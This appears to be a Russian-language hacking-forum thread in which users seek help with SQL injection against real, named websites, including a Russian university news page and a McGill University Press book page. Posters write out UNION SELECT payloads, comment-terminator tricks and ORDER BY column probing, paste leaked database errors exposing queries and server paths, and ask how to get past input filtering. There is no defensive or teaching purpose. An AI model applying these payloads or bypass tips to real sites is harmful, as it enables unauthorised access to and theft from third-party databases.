а сканер какой? посоветуйте.

truelamer
Посмотри на это, всё-таки местная разработка:
_https://forum.antichat.ru/threadnav40031-1-10.html

http://www.ulsu.ru/news/?i=-0'+union+select+1,2,3,4,5,6,7/*
Что делать... .

Там нет скули
http://www.ulsu.ru/news/?i=2-1
не равно
http://www.ulsu.ru/news/?i=1

maxster, скуля есть, у них просто кривая фильтрация.

На этом сайте режется символ запятой в id, точнее всё, что после него, и в итоге запрос принимает вид

-0' union select 1' AND `news_date`<='2' ORDER BY `news_date` DESC,`id`

Скорее всего, юнионом здесь воспользоваться не получится.

Я заметил ... .+ подставляет всякую бяку перед нехорошими символами((

PHP Warning: odbc_exec() [function.odbc-exec]: SQL error: [Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression 'sp.SPECIMEN_ID = 2541 or 1=@@version) -- AND sp.SITENO = si.SITENO'., SQL state 37000 in SQLExecDirect in G:\InetPub\wwwroot\public_site\search.php on line 305 PHP Warning: odbc_fetch_array(): supplied argument is not a valid ODBC result resource in G:\InetPub\wwwroot\public_site\search.php on line 307

такую ошибку получаю, почему -- не режет запрос? как обойти

зы с mssql первый раз столкнулся

Помогите с количеством столбцов http://mqup.mcgill.ca/book.php?bookid=-1'
order by говорит что их 3, но что-то не так

при 25 выдает полностью запрос

Error executing the SQL Query : SELECT authors.*, bookauthors.authorType, bookauthors.bookID FROM bookauthors INNER JOIN authors ON bookauthors.authorID = authors.ID WHERE bookauthors.bookID = -1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25/* and authorType = 1